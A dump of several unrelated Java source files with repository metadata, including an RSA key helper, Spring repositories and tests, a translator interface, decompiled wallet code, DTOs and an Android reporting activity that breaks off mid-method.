@return * @throws Exception */ public static Map<String, Object> initKey() throws Exception { KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance(KEY_ALGORITHM); keyPairGen.initialize(512); KeyPair keyPair = keyPairGen.generateKeyPair(); // ๅ…ฌ้’ฅ RSAPublicKey publicKey = (RSAPublicKey) keyPair.getPublic(); // ็ง้’ฅ RSAPrivateKey privateKey = (RSAPrivateKey) keyPair.getPrivate(); Map<String, Object> keyMap = new HashMap<String, Object>(2); keyMap.put(PUBLIC_KEY, publicKey); keyMap.put(PRIVATE_KEY, privateKey); return keyMap; } }
[ "zakaz168@gmail.com" ]
zakaz168@gmail.com
6c2f6dc27b09fa775d49b3d39320030c80baff94
6b9b7f9abcdb400bd258a7d5f09cced3c97a36f1
/lol/lol/src/report/youngha/r0005/Exam3.java
11e8cb20c8ac7e23765bba113a00daf1066cb8e3
[]
no_license
younghaa/lol
20bf8a0457eaaac875fcf69c0b3ed1a9497f05a4
20880b6f9fb86feb2634b28a39939d5262923253
refs/heads/master
2020-12-03T09:22:52.134495
2017-08-22T09:39:21
2017-08-22T09:39:21
95,615,989
0
0
null
null
null
null
UTF-8
Java
false
false
413
java
package report.youngha.r0005; public class Exam3 { public static void main(String[] args) { Cal2 c2=new Cal2(10,2,""); c2.printPlus(); c2.printMinus(); c2.printMultiple(); c2.printDivision(); // Cal c1 = new Cal(1, 2, "+"); // c1.printCal(); // Cal c2 = new Cal(); // c2.printCal(); // Cal[] arrC = new Cal[2]; // arrC[0]=c1; // arrC[0]=c2; } }
[ "joug0584@naver.com" ]
joug0584@naver.com
c374845a635f634bba9d8d4c0eeb0f01ce5fbf09
69fc4d34890d9aeecc8c7f681d4107f5bc9b0785
/src/main/java/com/horlando/cursomc/repositories/ItemPedidoRepository.java
cab27c384627a74aeefa28cc36ff00d8c50366c6
[]
no_license
Horlando-Leao/spring-boot-ionic-backend
2b5ca586cdcb86942d1f396f6886497edbe1d9a9
27200d17bd05d78b90c5c4f902b7967d520e1c07
refs/heads/main
2023-04-13T13:51:48.039309
2021-04-12T03:22:55
2021-04-12T03:22:55
345,398,922
0
0
null
null
null
null
UTF-8
Java
false
false
301
java
package com.horlando.cursomc.repositories; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.stereotype.Repository; import com.horlando.cursomc.domain.ItemPedido; @Repository public interface ItemPedidoRepository extends JpaRepository<ItemPedido, Integer>{ }
[ "horlandoleao8@gmail.com" ]
horlandoleao8@gmail.com
85d7a87f0fce23588c91143109ba14f3d4ac3e82
602b2ac3d69af98a7a5fc51d471e187b26886a7d
/src/test/java/com/example/bddspring1585894996/DemoApplicationTests.java
dafabf63e17d9829e0f50255f2da71237f04f717
[]
no_license
cb-kubecd/bdd-spring-1585894996
65028fdeb224ef7276dbc9585671ffe4f3a358b5
516ea2e312e3ce296a4a4be29eb86d8be6487396
refs/heads/master
2021-05-21T10:10:25.569068
2020-04-03T06:23:41
2020-04-03T06:23:41
252,649,609
0
0
null
2020-04-03T06:32:08
2020-04-03T06:23:46
Makefile
UTF-8
Java
false
false
221
java
package com.example.bddspring1585894996; import org.junit.jupiter.api.Test; import org.springframework.boot.test.context.SpringBootTest; @SpringBootTest class DemoApplicationTests { @Test void contextLoads() { } }
[ "cjxd-bot@cloudbees.com" ]
cjxd-bot@cloudbees.com
e5b605f4ba0ea57f5a48942524aaf8b44910361b
1731e0947782c5b738500e68b3cd887f5111c3a0
/src/main/java/com/sri/ai/praise/lang/translate/Translator.java
17d87f655c2d0ea6d0f43106cda722e9e8be30f5
[ "BSD-3-Clause" ]
permissive
iramiller/aic-praise
d6dcb378d75a2267ec2aebbacd1253f0f9d2c9e3
dbae532af693a358c0da2b381a734d79ab7852ea
refs/heads/master
2021-05-13T11:32:28.389395
2018-01-16T21:24:08
2018-01-16T21:24:08
117,127,650
0
0
null
2018-01-11T16:58:58
2018-01-11T16:58:57
null
UTF-8
Java
false
false
5,733
java
/* * Copyright (c) 2015, SRI International * All rights reserved. * Licensed under the The BSD 3-Clause License; * you may not use this file except in compliance with the License. * You may obtain a copy of the License at: * * http://opensource.org/licenses/BSD-3-Clause * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the aic-praise nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ package com.sri.ai.praise.lang.translate; import java.io.File; import java.io.PrintWriter; import java.io.Reader; import java.nio.charset.Charset; import com.google.common.annotations.Beta; import com.google.common.base.Charsets; import com.sri.ai.praise.lang.ModelLanguage; /** * Interface to be implemented by all Language Translators. * * @author oreilly * */ @Beta public interface Translator { /** * * @return the source model language for the translator. */ ModelLanguage getSource(); /** * * @return the source model's charset. */ default Charset getSourceCharset() { return Charsets.UTF_8; } /** * * @return the target model language for the translator. */ ModelLanguage getTarget(); /** * * @return the target model's charset. */ default Charset getTargetCharset() { return Charsets.UTF_8; } /** * Get the number of inputs required by the translator (usually just 1). * * @return the number of inputs required to perform the translation * (e.g. a UAI input to target translation may comprise of translating the model file '.uai' and its evidence file '.uai.evid'). */ default int getNumberOfInputs() { return 1; } /** * Used if the translator's inputs are to be read from a file. * * NOTE: the first input file extension is to always be the main model file, others are considered supporting. * * @return the unique file extensions to use for each input (# file extensions must = number of inputs). */ default String[] getInputFileExtensions() { return new String[] { getSource().getDefaultFileExtension() }; } /** * Get the number of outputs generated by the translator. * * @return the number of outputs generated by the translation * (e.g. UAI generates two outputs, one for the model and the other for the default evidence). */ default int getNumberOfOutputs() { return 1; } /** * Used if the translator's outputs are to be written to a file. * * NOTE: the first output file extension is to always be the main model file, others are considered supporting. * * @return the unique file extensions to use for each output (# file extensions must = number of outputs). */ default String[] getOutputFileExtensions() { return new String[] { getTarget().getDefaultFileExtension() }; } /** * Perform the translation from an input model to an output model. * * @param inputIdentifier * an identifying name for the input. * @param inputModelReaders * the readers for the input model definitions. * @param translatedOutputs * the outputs to be used for the translated model. * @param options * options to be passed to the translator. * @throws Exception * exceptions handling to be performed outside of the translator. */ void translate(String inputIdentifier, Reader[] inputModelReaders, PrintWriter[] translatedOutputs, TranslatorOptions options) throws Exception; /** * Utility routine that based on the file name convention for models will return an extension neutral model name * for a source model file. * * @param sourceModelFile * The input model file whose extension neutral name is to be returned. * @return the extension neutral name of the input model file. */ default String getInputModelFileNameWithNoExtension(File sourceModelFile) { String extension = getInputFileExtensions()[0]; String result = sourceModelFile.getName(); if (!result.endsWith(extension)) { throw new IllegalArgumentException("Source Model File: "+sourceModelFile.getName()+" does not have the expected extension: "+extension); } result = result.substring(0, result.length()-extension.length()); return result; } }
[ "ctjoreilly@gmail.com" ]
ctjoreilly@gmail.com
2838b861750aea5ab7aeddf610b77a9453e55eec
6c28eca2c33a275fb0008a51b8e5776a82f5904d
/03__Samples/samples/Netbeans/PersistentMatrix_WebSample/src-original/java/com/williespetstore/_MetacompilerRunner.java
66e00c345b836653a6344e709b929a3efbb1bce7
[]
no_license
UnconventionalThinking/hierarchy
17dc9e224595f13702b9763829e12fbce2c48cfe
de8590a29c19202c01d1a6e62ca92e91aa9fc6ab
refs/heads/master
2021-01-19T21:28:29.793371
2014-12-19T03:16:24
2014-12-19T03:16:24
13,262,291
0
1
null
null
null
null
UTF-8
Java
false
false
1,264
java
package com.williespetstore; import net.unconventionalthinking.utilities.FileUtilities; import net.unconventionalthinking.hierarchy.HierarchyMetaCompiler; import net.unconventionalthinking.hierarchy.HierarchySettings; import java.io.File; /** * *** IMPORTANT NOTE **** * Before you run this, if you've made any changes to any type of matrix file, you should delete the generated .java files and clean * the build (not sure which one causes the problem)) Why? because when you run this class and the the JVM starts up, It's primary class loader * will load the current classes into memory, and they cannot be replaced by the dynamically compiled versions!!!! * * @author peterjoh */ public class _MetacompilerRunner { public static void main(String[] args) throws Exception { System.out.println("Generating maintests"); // Check if the project path is passed in. This happens when an outside project like the HierarchyController project // calls this method. String prePath = ""; if (args != null && args.length == 1) { prePath = args[0].trim() + "/"; } HierarchyMetaCompiler.main(new String[] { "-mpropfile", prePath + "client-matrix-persistence.properties" }); } }
[ "github@unconventionalthinking.com" ]
github@unconventionalthinking.com
bffc56c4f2bd6b88007b1590a9632c92ccd448fd
ca0e9689023cc9998c7f24b9e0532261fd976e0e
/src/com/tencent/mm/plugin/gwallet/a/d.java
94cfc6dc899ed4cb7599fc69b91b40cbaa2b9027
[]
no_license
honeyflyfish/com.tencent.mm
c7e992f51070f6ac5e9c05e9a2babd7b712cf713
ce6e605ff98164359a7073ab9a62a3f3101b8c34
refs/heads/master
2020-03-28T15:42:52.284117
2016-07-19T16:33:30
2016-07-19T16:33:30
null
0
0
null
null
null
null
UTF-8
Java
false
false
1,696
java
package com.tencent.mm.plugin.gwallet.a; import android.content.Context; import android.os.RemoteException; import com.tencent.mm.sdk.platformtools.ac; import com.tencent.mm.sdk.platformtools.t; import java.util.Iterator; import java.util.List; public final class d implements Runnable { public d(b paramb, List paramList, b.b paramb1, ac paramac) {} public final void run() { Object localObject = dEX.iterator(); int i = 0; int j; for (;;) { if (!((Iterator)localObject).hasNext()) { break label227; } String str = (String)((Iterator)localObject).next(); try { b localb = dEW; localb.mO("consume"); if (str != null) {} try { if (str.equals("")) { b.mP("Can't consume " + str + ". No token."); } j = dEO.c(3, mContext.getPackageName(), str); if (j == 0) { t.d("!32@/B4Tb64lLpKw9oSUpbeF6PlG5rCG0j68", "Successfully consumed token: " + str); } } catch (RemoteException localRemoteException) { throw new a("Remote exception while consuming. token: " + str, localRemoteException); } } catch (a locala) { i = dEN.dFg; } } t.d("!32@/B4Tb64lLpKw9oSUpbeF6PlG5rCG0j68", "Error consuming consuming token " + locala); throw new a(j, "Error consuming token " + locala); label227: if (dEY != null) { localObject = new h(i, ""); cqL.post(new e(this, (h)localObject)); } } } /* Location: * Qualified Name: com.tencent.mm.plugin.gwallet.a.d * Java Class Version: 6 (50.0) * JD-Core Version: 0.7.1 */
[ "reverseengineeringer@hackeradmin.com" ]
reverseengineeringer@hackeradmin.com
b6e70442419f05b6d28915985ad90f5e043cb5cc
0534852df01af7a79458d2683135218f4d3c1eb2
/app/src/test/java/cz/mxmx/a2048/ExampleUnitTest.java
707448ff43cb10a29b1c8e6bfa67f51ba05fbfc7
[]
no_license
mrtnmch/2048
bb95e4922e6ceb5c40aa2b09eae1b8756cd1ba40
1fcdbc6e4bdc688dbdee8741cb389069c898c83a
refs/heads/master
2023-02-08T06:03:51.250207
2017-06-08T14:56:42
2017-06-08T14:56:42
null
0
0
null
null
null
null
UTF-8
Java
false
false
391
java
package cz.mxmx.a2048; import org.junit.Test; import static org.junit.Assert.*; /** * Example local unit test, which will execute on the development machine (host). * * @see <a href="http://d.android.com/tools/testing">Testing documentation</a> */ public class ExampleUnitTest { @Test public void addition_isCorrect() throws Exception { assertEquals(4, 2 + 2); } }
[ "me@martinmach.cz" ]
me@martinmach.cz
07ea33d889b13c99a26d4c21aafa37e5621240b6
0fa3406af7d402047e4810087f614f6010cbaa09
/web/src/main/java/com/itacademy/jd2/po/hotel/web/dto/GuestBookingDTO.java
78d37d0adcfee387b59f4d7219a61766621471ed
[]
no_license
oleshkevich-pavel/IT.Hotel
6b15d7ac89dc2f393ddd57bd6b9824eb6ecee577
08f9af0e1c25e19da0ddd2ec2f7d99fa14a2388f
refs/heads/master
2020-03-19T07:35:05.262302
2018-06-14T07:38:27
2018-06-14T07:38:27
136,127,953
0
1
null
2018-06-14T07:34:44
2018-06-05T06:03:35
Java
UTF-8
Java
false
false
1,191
java
package com.itacademy.jd2.po.hotel.web.dto; import java.util.Date; import javax.validation.constraints.NotNull; import org.springframework.format.annotation.DateTimeFormat; import com.itacademy.jd2.po.hotel.web.validator.TodayOrFuture; public class GuestBookingDTO { @NotNull private Integer roomId; private Integer roomNumber; @DateTimeFormat(pattern = "yyyy-MM-dd") //s @TodayOrFuture @NotNull private Date checkIn; @DateTimeFormat(pattern = "yyyy-MM-dd") // @TodayOrFuture @NotNull private Date checkOut; public Integer getRoomId() { return roomId; } public void setRoomId(final Integer roomId) { this.roomId = roomId; } public Integer getRoomNumber() { return roomNumber; } public void setRoomNumber(final Integer roomNumber) { this.roomNumber = roomNumber; } public Date getCheckIn() { return checkIn; } public void setCheckIn(final Date checkIn) { this.checkIn = checkIn; } public Date getCheckOut() { return checkOut; } public void setCheckOut(final Date checkOut) { this.checkOut = checkOut; } }
[ "pashka-85@mail.ru" ]
pashka-85@mail.ru
dd59f29a36e84e0e4873dd08f317608ee7345a41
cb58ec739f469466e532109d26a78fdbd321da88
/src/main/java/DataCreation/PlaceHolder.java
1a2422a3ec7ee3d0192354795cb2b753822af96b
[ "Apache-2.0" ]
permissive
TheSausages/Inteligentne-Generowanie-Danych-Testowych
c6a2d3d62838cbac44afd55aa6ebb4139fa46417
2933bb477c8fca0d67c3e05c28dbb8381fd1d0cb
refs/heads/master
2023-05-29T07:20:43.372096
2021-06-16T12:03:57
2021-06-16T12:03:57
349,146,467
1
0
Apache-2.0
2021-04-15T12:13:19
2021-03-18T16:37:24
Java
UTF-8
Java
false
false
263
java
package DataCreation; import TableMapping.ColumnMappingClass; public class PlaceHolder implements GenerateInterface { @Override public String[] generate(long seed, int n, String locale, ColumnMappingClass column) { return new String[0]; } }
[ "kziejlo@gmail.com" ]
kziejlo@gmail.com
db81298e29aa483a40a23b54f10b5727b3e71000
98113146556f0bf304ce58b3f6f838821bb8878d
/pertemuan03/src/sayudha.java
2abe9bf8f71db2ecfa4e412521b1f7aea1dcf6b9
[]
no_license
sayudha/pemograman1-genap
b38e4cfa54167b39f4dc3235e08917c3f40530cc
89bdbb6734799543590a841c5f214e091d282e45
refs/heads/master
2020-12-24T17:36:30.452678
2014-07-05T06:25:32
2014-07-05T06:25:32
null
0
0
null
null
null
null
UTF-8
Java
false
false
144
java
package Sayudha.bin; public class sayudha{ public static void main(String[] Sayudha){ System.out.println("Jurusan Teknik Informatika"); } }
[ "Agung@.(none)" ]
Agung@.(none)
4aa4a0bb87b49450c32e91bd1ebef487788f95dd
1af17e2a221a5de4c39f4c32a9e696a18bf7c95c
/src/main/org/domain/monedaliquidacion/entity/Porcentajecomisiontxparam.java
6a95f88a4d471a3230f4c2c083574534afe66540
[]
no_license
TKSISSOFTWARE/monedaliquidacion
5434e1c789377f05e15e2a475751edef8431ba4b
13a3faad02af50ee35cacb953423488201f62e9b
refs/heads/master
2021-01-20T16:28:15.206680
2015-10-29T22:18:24
2015-10-29T22:18:24
null
0
0
null
null
null
null
UTF-8
Java
false
false
3,801
java
package org.domain.monedaliquidacion.entity; // Generated 9/06/2015 03:23:02 PM by Hibernate Tools 3.2.4.GA import java.math.BigDecimal; import java.util.Date; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.FetchType; import javax.persistence.Id; import javax.persistence.JoinColumn; import javax.persistence.ManyToOne; import javax.persistence.Table; import javax.persistence.Temporal; import javax.persistence.TemporalType; import org.hibernate.validator.Length; /** * Porcentajecomisiontxparam generated by hbm2java */ @Entity @Table(name = "porcentajecomisiontxparam") public class Porcentajecomisiontxparam implements java.io.Serializable { private int consecutivo; private Franquicia franquicia; private Pais pais; private Establecimiento establecimiento; private Banco banco; private String tipocupo; private BigDecimal porcentaje; private BigDecimal porcentajeTac; private Date fechainicio; private Date fechafin; public Porcentajecomisiontxparam() { } public Porcentajecomisiontxparam(int consecutivo) { this.consecutivo = consecutivo; } public Porcentajecomisiontxparam(int consecutivo, Franquicia franquicia, Pais pais, Establecimiento establecimiento, Banco banco, String tipocupo, BigDecimal porcentaje, BigDecimal porcentajeTac, Date fechainicio, Date fechafin) { this.consecutivo = consecutivo; this.franquicia = franquicia; this.pais = pais; this.establecimiento = establecimiento; this.banco = banco; this.tipocupo = tipocupo; this.porcentaje = porcentaje; this.porcentajeTac = porcentajeTac; this.fechainicio = fechainicio; this.fechafin = fechafin; } @Id @Column(name = "consecutivo", unique = true, nullable = false) public int getConsecutivo() { return this.consecutivo; } public void setConsecutivo(int consecutivo) { this.consecutivo = consecutivo; } @ManyToOne(fetch = FetchType.LAZY) @JoinColumn(name = "codfranquicia") public Franquicia getFranquicia() { return this.franquicia; } public void setFranquicia(Franquicia franquicia) { this.franquicia = franquicia; } @ManyToOne(fetch = FetchType.LAZY) @JoinColumn(name = "codpais") public Pais getPais() { return this.pais; } public void setPais(Pais pais) { this.pais = pais; } @ManyToOne(fetch = FetchType.LAZY) @JoinColumn(name = "codigounico") public Establecimiento getEstablecimiento() { return this.establecimiento; } public void setEstablecimiento(Establecimiento establecimiento) { this.establecimiento = establecimiento; } @ManyToOne(fetch = FetchType.LAZY) @JoinColumn(name = "codbanco") public Banco getBanco() { return this.banco; } public void setBanco(Banco banco) { this.banco = banco; } @Column(name = "tipocupo", length = 1) @Length(max = 1) public String getTipocupo() { return this.tipocupo; } public void setTipocupo(String tipocupo) { this.tipocupo = tipocupo; } @Column(name = "porcentaje", precision = 4) public BigDecimal getPorcentaje() { return this.porcentaje; } public void setPorcentaje(BigDecimal porcentaje) { this.porcentaje = porcentaje; } @Column(name = "porcentaje_tac", precision = 4, scale = 4) public BigDecimal getPorcentajeTac() { return this.porcentajeTac; } public void setPorcentajeTac(BigDecimal porcentajeTac) { this.porcentajeTac = porcentajeTac; } @Temporal(TemporalType.TIMESTAMP) @Column(name = "fechainicio", length = 29) public Date getFechainicio() { return this.fechainicio; } public void setFechainicio(Date fechainicio) { this.fechainicio = fechainicio; } @Temporal(TemporalType.TIMESTAMP) @Column(name = "fechafin", length = 29) public Date getFechafin() { return this.fechafin; } public void setFechafin(Date fechafin) { this.fechafin = fechafin; } }
[ "desarrollo@monedafrontera.com" ]
desarrollo@monedafrontera.com
1adcb8ffcef76553887cf089d9015ac9da8445db
c3c3fd0a19a3c31f7423e4c8bafe7b37bcaf0db2
/Filter/src/jav/gui/filter/LevDistance_1_Filter.java
97794829bfe91dd9c372748fa9569da16817e693
[ "BSD-2-Clause" ]
permissive
thorstenv/PoCoTo
803fec83a5b2661942fac1decc44971c8758b5da
89898769501476be2ff25637a90553db18664638
refs/heads/master
2016-09-16T17:03:48.710214
2015-02-08T19:19:54
2015-02-08T19:19:54
9,832,862
7
4
null
2015-02-08T19:19:54
2013-05-03T09:28:28
Java
UTF-8
Java
false
false
3,181
java
package jav.gui.filter; import jav.correctionBackend.Token; import java.util.ArrayList; import java.util.Iterator; /** *Copyright (c) 2012, IMPACT working group at the Centrum fรผr Informations- und Sprachverarbeitung, University of Munich. *All rights reserved. *Redistribution and use in source and binary forms, with or without *modification, are permitted provided that the following conditions are met: *Redistributions of source code must retain the above copyright *notice, this list of conditions and the following disclaimer. *Redistributions in binary form must reproduce the above copyright *notice, this list of conditions and the following disclaimer in the *documentation and/or other materials provided with the distribution. *THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS *IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED *TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A *PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT *HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, *SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT *LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY *THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE *OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * This file is part of the ocr-postcorrection tool developed * by the IMPACT working group at the Centrum fรผr Informations- und Sprachverarbeitung, University of Munich. * For further information and contacts visit http://ocr.cis.uni-muenchen.de/ * * @author thorsten (thorsten.vobl@googlemail.com) */ public class LevDistance_1_Filter implements AbstractTokenFilter { private boolean retVal; private String name; private ArrayList<Token> tokRL; public LevDistance_1_Filter(String n) { this.name = n; } @Override public void setName(String n) { this.name = n; } @Override public String getName() { return this.name; } @Override public boolean applies(Token t) { //TODO retVal = false; // if (!t.isCorrected()) { // Candidate c = t.getTopCandidate(); // if (c == null) { // retVal = false; // } else if (c.getDlev() == 1) { // retVal = true; // } // } return retVal; } @Override public ArrayList<Token> applyFilter(Iterator<Token> i) { tokRL = new ArrayList<Token>(); while (i.hasNext()) { Token tok = i.next(); if (this.applies(tok)) { tokRL.add(tok); } } return tokRL; } @Override public ArrayList<Token> applyFilter(ArrayList<Token> a) { tokRL = new ArrayList<Token>(); for (Token tok : a) { if (this.applies(tok)) { tokRL.add(tok); } } return tokRL; } }
[ "thorsten.vobl@googlemail.com" ]
thorsten.vobl@googlemail.com
dbd5633dc693c318c60f532e4fa558f39914b032
09529946a87bfff2d19bdefc6549b56b539628e4
/Lesson-14/src/com/homework/sorting/Method.java
26783520d87dff408e8d18b52129813278ba9036
[]
no_license
martolomio/lesson-14
5d522475f68e97c1cffb4c23e2a901793ad4ed15
5389222b2ccc3360728029cd2d337387c958567e
refs/heads/master
2023-03-31T00:51:53.752658
2021-04-07T15:19:20
2021-04-07T15:19:20
355,591,500
0
0
null
null
null
null
UTF-8
Java
false
false
317
java
package com.homework.sorting; import java.util.Comparator; public class Method implements Comparator<Phone>{ @Override public int compare(Phone o1, Phone o2) { if(o1.getName().compareTo(o2.getName())>0) { return 1; }else if(o1.getName().compareTo(o2.getName())<0) { return -1; } return 0; } }
[ "User@192.168.0.105" ]
User@192.168.0.105
2975ec9962d041b728b01d9f357b00cb45ca732e
6361a44297dcacfbb5b09924537f033f8ca861cc
/Exercise_ XML Processing/xmlProcessing_carDealer/src/main/java/cardealer/domain/dtos/views/orderedcustomers/CustomerByBirthdayDto.java
cca970bf34366edecbbece4f76d4de6549078026
[]
no_license
allsi89/db_Hibernate_Spring
071a9ecb0a3151a83b63ce4ed93954afea9992cc
25761e8b1f8085e40680ec92881707781dc8f514
refs/heads/master
2020-04-04T08:51:31.117586
2018-12-08T13:38:25
2018-12-08T13:38:25
155,797,510
0
0
null
null
null
null
UTF-8
Java
false
false
1,358
java
package cardealer.domain.dtos.views.orderedcustomers; import org.springframework.format.annotation.DateTimeFormat; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlRootElement; import java.text.SimpleDateFormat; import java.util.Date; @XmlRootElement(name = "customer") @XmlAccessorType(XmlAccessType.FIELD) public class CustomerByBirthdayDto { @XmlElement(name = "id") private Integer id; @XmlElement(name = "name") private String name; @XmlElement(name = "birth-date") private Date birthDate; @XmlElement(name = "is-young-driver") private boolean isYoungDriver; public CustomerByBirthdayDto() { } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public Date getBirthDate() { return birthDate; } public void setBirthDate(Date birthDate) { this.birthDate = birthDate; } public boolean isYoungDriver() { return isYoungDriver; } public void setYoungDriver(boolean youngDriver) { isYoungDriver = youngDriver; } }
[ "37107768+allsi89@users.noreply.github.com" ]
37107768+allsi89@users.noreply.github.com
2d682ad985217c5abc07e177131b7d3540053d8c
eaa3f208da31023c1a1d671a0d0a5c2be5613add
/TP6/EJ2/Sorter.java
0e45efb189ce2e9963d1ebd60d6c8e648fdcf89b
[]
no_license
agustingroh/TPS
b3d9b29ada627adb2d426f1c674dbd46bb6d6f92
e01ac0f7f094fe12a99a2beae500a132e54574db
refs/heads/main
2023-09-01T16:34:24.322075
2021-10-11T18:33:42
2021-10-11T18:33:42
401,474,077
0
0
null
null
null
null
UTF-8
Java
false
false
131
java
public abstract class Compare { public abstract boolean compare(Object o); @Override compareTo(){ } }
[ "agusgroh@gmail.com" ]
agusgroh@gmail.com
2841781bc234c1dce1019c714b204f120f882bb2
2e1d14da9f4f4f884d653c7c346723b0239fb3de
/app/src/main/java/com/spil/dev/tms/Activity/ProsesActivity/ActivityLapor.java
ff2445b1de6723ff7fb711b4c6b49e1e6c59458c
[]
no_license
alkaaf/toms
7435435c33190d479a9e00284b1c50efb6b798cf
db33d8f2558190467773e5f1de9268be17abf6d3
refs/heads/master
2020-04-23T00:37:06.064965
2018-10-25T08:17:19
2018-10-25T08:17:19
170,785,835
1
0
null
null
null
null
UTF-8
Java
false
false
9,270
java
package com.spil.dev.tms.Activity.ProsesActivity; import android.annotation.SuppressLint; import android.app.Activity; import android.app.ProgressDialog; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.location.Location; import android.location.LocationListener; import android.location.LocationManager; import android.os.Bundle; import android.support.annotation.Nullable; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.RadioButton; import android.widget.RadioGroup; import android.widget.TextView; import android.widget.Toast; import com.android.volley.Request; import com.android.volley.Response; import com.google.android.gms.location.LocationServices; import com.google.android.gms.tasks.OnSuccessListener; import com.spil.dev.tms.Activity.BaseActivity; import com.spil.dev.tms.Activity.ListDepoActivity; import com.spil.dev.tms.Activity.ListDermagaActivity; import com.spil.dev.tms.Activity.Maps.LocationBroadcaster; import com.spil.dev.tms.Activity.Model.DepoModel; import com.spil.dev.tms.Activity.Model.DermagaModel; import com.spil.dev.tms.Activity.Model.SimpleJob; import com.spil.dev.tms.Activity.Util.Netter; import com.spil.dev.tms.Activity.Util.Pref; import com.spil.dev.tms.Activity.Util.StringHashMap; import com.spil.dev.tms.R; import org.json.JSONException; import org.json.JSONObject; public class ActivityLapor extends BaseActivity { RadioGroup rg1; RadioGroup rg2; RadioButton rbDepo; RadioButton rbDermaga; EditText etAlasan; Button btnKirimLaporan; TextView tvTarget; private static final int LOCATION_REQUEST_CODE = 101; StringHashMap map = new StringHashMap(); public static final int REQ_CODE = 10; public static final int REQ_DEPO = 23; public static final int REQ_DERMAGA = 64; ProgressDialog pd; IntentFilter filter; Location loc; LocationManager lm; BroadcastReceiver br = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { if (intent.getAction().equals(LocationBroadcaster.LOCATION_BROADCAST_ACTION)) { loc = intent.getParcelableExtra(LocationBroadcaster.LOCATION_DATA); } } }; @Override public void onStart() { super.onStart(); registerReceiver(br, filter); } @Override public void onStop() { super.onStop(); unregisterReceiver(br); } @SuppressLint("MissingPermission") @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.fragment_reject); filter = new IntentFilter(LocationBroadcaster.LOCATION_BROADCAST_ACTION); pd = new ProgressDialog(this); pd.setMessage("Mengirim laporan"); getSupportActionBar().setTitle("Laporkan keadaan"); rg1 = findViewById(R.id.rg1); rg2 = findViewById(R.id.rg2); rbDepo = findViewById(R.id.rb_depo); rbDermaga = findViewById(R.id.rb_dermaga); tvTarget = findViewById(R.id.tv_target); etAlasan = findViewById(R.id.et_alasan); btnKirimLaporan = findViewById(R.id.btn_kirim_laporan); tvTarget.setVisibility(View.GONE); lm = ((LocationManager) getSystemService(Context.LOCATION_SERVICE)); lm.requestSingleUpdate(LocationManager.GPS_PROVIDER, new LocationListener() { @Override public void onLocationChanged(Location location) { ActivityLapor.this.loc = location; } @Override public void onStatusChanged(String provider, int status, Bundle extras) { } @Override public void onProviderEnabled(String provider) { } @Override public void onProviderDisabled(String provider) { } }, null); // rg1.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() { // @Override // public void onCheckedChanged(RadioGroup group, int checkedId) { // if (checkedId == R.id.rb_depo) { // startActivityForResult(new Intent(getContext(), ListDepoActivity.class), REQ_DEPO); // // } else if (checkedId == R.id.rb_dermaga) { // startActivityForResult(new Intent(getContext(), ListDermagaActivity.class), REQ_DERMAGA); // } // } // }); rbDepo.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivityForResult(new Intent(ActivityLapor.this, ListDepoActivity.class), REQ_DEPO); } }); rbDermaga.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivityForResult(new Intent(ActivityLapor.this, ListDermagaActivity.class), REQ_DERMAGA); } }); rg2.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() { @Override public void onCheckedChanged(RadioGroup group, int checkedId) { if (checkedId == R.id.rb6) { etAlasan.setVisibility(View.VISIBLE); } else { etAlasan.setVisibility(View.GONE); } } }); 